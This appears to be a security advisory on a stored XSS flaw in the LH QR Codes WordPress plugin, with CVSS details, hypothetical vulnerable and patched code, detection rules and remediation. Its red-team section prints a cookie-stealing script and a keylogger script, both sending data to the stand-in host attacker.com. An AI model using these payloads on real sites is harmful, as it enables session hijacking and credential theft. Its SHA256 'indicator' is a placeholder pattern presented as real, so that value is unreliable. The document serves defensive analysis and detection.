CVE-2024-51572

Executive Summary

CVE-2024-51572 is a Stored Cross-Site Scripting (XSS) vulnerability in the LH QR Codes WordPress plugin, developed by Shawfactor. The vulnerability exists in all versions up to and including 1.06. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into the plugin’s QR code generation interface. When an administrator or other user views the generated QR code page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 6.5 (Medium), with a vector string indicating a low attack complexity, low privileges required, and user interaction required. The EPSS score is 0.0%, suggesting low exploitation likelihood at the time of analysis, but the lack of a patch makes it a persistent risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is part of the WordPress ecosystem, any site running the vulnerable version is at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Administrators should monitor for updates from the vendor and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view the malicious QR code page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature means a single successful injection can affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in the LH QR Codes plugin’s handling of user-supplied input when generating QR codes. The plugin likely accepts parameters such as text, URL, or custom data to encode into a QR code. This input is not properly sanitized or escaped before being rendered in the HTML output.

Attack Flow:

1. An attacker with contributor-level access navigates to the QR code creation page.
2. The attacker injects a malicious payload into a text field, e.g., <script>alert('XSS')</script>.
3. The plugin stores this payload in the database without sanitization.
4. When an administrator or other user views the page containing the QR code (e.g., a post or widget), the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a malicious site.

The lack of output encoding in the plugin’s template files is the root cause. The plugin likely uses echo or print statements without applying WordPress’s built-in escaping functions like esc_html() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

// In lh-qr-codes.php or similar
function display_qr_code($atts) {
    $text = $atts['text'];
    echo "<div class='qr-code'>" . $text . "</div>";
}

Patched Code (hypothetical example):

function display_qr_code($atts) {
    $text = esc_html($atts['text']);
    echo "<div class='qr-code'>" . $text . "</div>";
}

The patched version uses esc_html() to neutralize HTML tags, preventing script execution. Since no official patch is available, administrators must manually apply similar escaping or remove the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the LH QR Codes plugin (version <= 1.06) installed and activated.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the QR code creation page (e.g., /wp-admin/admin.php?page=lh-qr-codes).
3. In the “Text” or “URL” field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the QR code.
5. Craft a social engineering email or message to an administrator, enticing them to view the page containing the QR code.
6. When the administrator views the page, their cookies are sent to the attacker’s server.

Alternative Payload (Keylogging):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress admin logs for unusual QR code creation activity.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable the LH QR Codes plugin until a patch is released.
• Apply a virtual patch using a WAF rule to block <script> tags in QR code input fields.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • lh-qr-codes.php (v1.06): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
• Network Indicators:
  • Outbound HTTP requests to attacker.com/steal.php or similar.
  • Unusual POST requests to /wp-admin/admin-ajax.php with QR code parameters.
• Log Entries:
  • WordPress debug log entries containing <script> tags in QR code fields.
  • Apache/Nginx access logs showing requests to /wp-admin/admin.php?page=lh-qr-codes with suspicious query strings.

Detection Engineering

YARA Rule

rule CVE_2024_51572_LH_QR_Codes_XSS {
    meta:
        description = "Detects stored XSS payloads in LH QR Codes plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51572"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $plugin_file = "lh-qr-codes.php"
    condition:
        $plugin_file and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in LH QR Codes Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via LH QR Codes plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php*'
        cs-uri-query: 'page=lh-qr-codes*'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in QR code text (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51572 LH QR Codes Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=lh-qr-codes"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the LH QR Codes plugin from all WordPress installations.
2. Apply a virtual patch – Use a WAF to block requests containing <script> in QR code input fields.
3. Audit user accounts – Review and revoke contributor-level access for untrusted users.

Long-Term Fix:

• The vendor (Shawfactor) must release a patched version that properly escapes output. Until then, consider using an alternative QR code plugin with active maintenance.
• Implement a Content Security Policy (CSP) that restricts inline script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

Workaround:

• Manually edit the plugin file to add esc_html() around user input. Locate the output function in lh-qr-codes.php and modify:

  echo "<div class='qr-code'>" . esc_html($text) . "</div>";
  

Valters IT
Securing Digital Frontiers